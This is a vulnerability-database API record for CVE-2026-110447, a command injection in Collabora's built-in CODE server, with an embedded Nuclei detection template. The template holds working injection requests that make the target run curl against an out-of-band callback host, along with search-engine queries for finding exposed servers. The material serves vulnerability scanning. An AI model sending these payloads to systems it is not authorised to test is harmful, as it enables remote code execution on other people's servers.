{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-110447/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-110447/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-110447/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-110447/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-110447/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-110447"},"sightings":{"href":"/api/v1/sightings/cve-2026-110447"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-110447.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-110447\n\ninfo:\n  name: Collabora Built-in CODE Server < 26.4.303 - OS Command Injection\n  author: alex700\n  severity: critical\n  description: |\n    Collabora Online Built-in CODE Server before 26.4.303 contains a command injection caused by improper handling in proxy.php when the CODE server is not running, letting remote attackers execute OS commands, exploit requires CODE server to be stopped.\n  impact: |\n    Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.\n  remediation: |\n    Upgrade to version 26.4.303 or later.\n  reference:\n    - https://github.com/CollaboraOnline/richdocumentscode/issues/354\n    - https://github.com/CollaboraOnline/richdocumentscode/compare/26.4.302...26.4.303\n    - https://github.com/CVEProject/cvelistV5/blob/main/cves/2026/110xxx/CVE-2026-110447.json\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-110447\n  classification:\n    cve-id: CVE-2026-110447\n    epss-score: 0.73307\n    epss-percentile: 0.99463\n    cwe-id: CWE-78\n    cvss-score: 9.2\n    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: collabora\n    product: richdocumentscode\n    fofa-query: body=\"/apps/richdocumentscode/\"\n    shodan-query: http.html:\"/apps/richdocumentscode/\"\n    publicwww-query: \"/apps/richdocumentscode/\"\n  tags: cve,cve2026,collabora,nextcloud,richdocumentscode,rce,oast,intrusive,vuln,kev,vkev\n\nflow: (http(1) && http(2)) || (http(3) && http(4))\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/apps/richdocumentscode/proxy.php?nuclei_detect\"\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Socket proxy error\"\n        internal: true\n\n  - unsafe: true\n    raw:\n      - |+\n        GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode/proxy.php?status HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"status\"'\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/apps/richdocumentscode_arm64/proxy.php?nuclei_detect\"\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"Socket proxy error\"\n        internal: true\n\n  - unsafe: true\n    raw:\n      - |+\n        GET /x$(curl${IFS}-s${IFS}{{interactsh-url}})x/%2e%2e/apps/richdocumentscode_arm64/proxy.php?status HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"status\"'\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n# digest: 4a0a00473045022100ebc0b2b2f5989195264ca03d930b1c4326d5ba0b937a5849a00491621e303b9302207ecab902b5f19c81fbd5eb8aac9fcddc48c40b075e2df2400cb1dd7a29541f6d:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-110447"}